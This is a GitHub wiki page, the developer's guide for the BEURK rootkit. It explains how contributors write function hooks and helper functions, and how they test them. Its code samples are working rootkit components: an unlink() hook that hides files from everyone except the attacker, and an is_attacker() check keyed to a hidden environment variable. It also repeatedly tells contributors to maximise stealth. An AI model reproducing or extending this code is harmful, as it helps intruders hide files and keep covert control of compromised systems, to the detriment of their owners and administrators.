-
Notifications
You must be signed in to change notification settings - Fork 94
Developer's Guide
The following guide provides requrements and recomended practices for writing code on the BEURK rootkit.
A hook is an homemade function which pretends to be a standard function.
As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.
Every hook must meet the following requirements:
- A prototype defined in
/includes/hooks.h
- A source file named
/src/hooks/<hook_name>.c
- A dedicated unit-test in
/tests/core/hooks
- Function must start with:
DEBUG(D_INFO, "called <hook_name>(<man_section>) hook")
Function hook's prototype must be defined in /includes/hooks/h
, and
flagged with the _HOOKED
macros in it's end.
NOTE: The
_HOOKED
macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with the-fvisibility=hidden
attribute.
Example:
/* /includes/hooks.h */
int unlink(const char *pathname) _HOOKED;
This step is very important, as the builder parses hooks.h
in
order to generate REAL_<HOOK_NAME>
macros.
Each function hook must be written in it's own file, named
/src/hooks/<hook_name>.c
.
In order to ease development, a REAL_<HOOK_NAME>()
macro is generated at
compile time, and can be used to call the equivalent non hooked function.
Keep stealth in mind while writing a hook !
Example:
/* /src/hooks/unlink.c */
int unlink(const char *pathname) {
DEBUG(D_INFO, "called unlink(2) hooked");
if (is_attacker()) {
return REAL_UNLINK(pathname);
}
else if (is_hidden_file(pathname)) {
errno = ENOENT;
return -1;
}
return REAL_UNLINK(pathname);
}
Each hook must be tested to ensure that no breakage occurs, and to assess
stealthyness. Those tests must be placed in the /tests/core/hooks
directory,
and will automatically be picked up by our test script.
-
Steps:
- Read the README file at
./tests/core/hooks/
. - Create a test file named
./tests/core/hooks/<HOOK>.c
with valid checks. - Add tests calls on
./tests/core/hooks/run.py
.
- Read the README file at
Every non-hook function must meet the following requirements:
- A prototype in
/includes/beurk.h
- A .c file in
/src/<function_name>.c
- A dedicated unit test in
/tests/core
- The first line of the non-hook function must be
DEBUG(D_INFO, "called <function>()")
In this example, we decide to write an is_attacker() function.
- Add the prototype on beurk.h
-
(append to
/includes/beurk.h
):
/* is_attacker.c */ int is_attacker(void); ```
- Write the function itself
- (create an appropriate .c file, aka
/src/is_attacker.c
):int is_attacker(void) { DEBUG(D_INFO, "called is_attacker()"); static int attacker = -1; if (attacker != -1) return (attacker); if (getenv(HIDDEN_ENV_VAR)) { DEBUG(D_INFO, "This is the attacker."); attacker = 1; } else { DEBUG(D_INFO, "This isn't the attacker."); attacker = 0; } return (attacker); }
- Create a test for the function
- Read the README file at
./tests/core/
. - Create a test file named
./tests/core/<function>.c
with valid checks. - Add tests calls on
./tests/core/run.py
.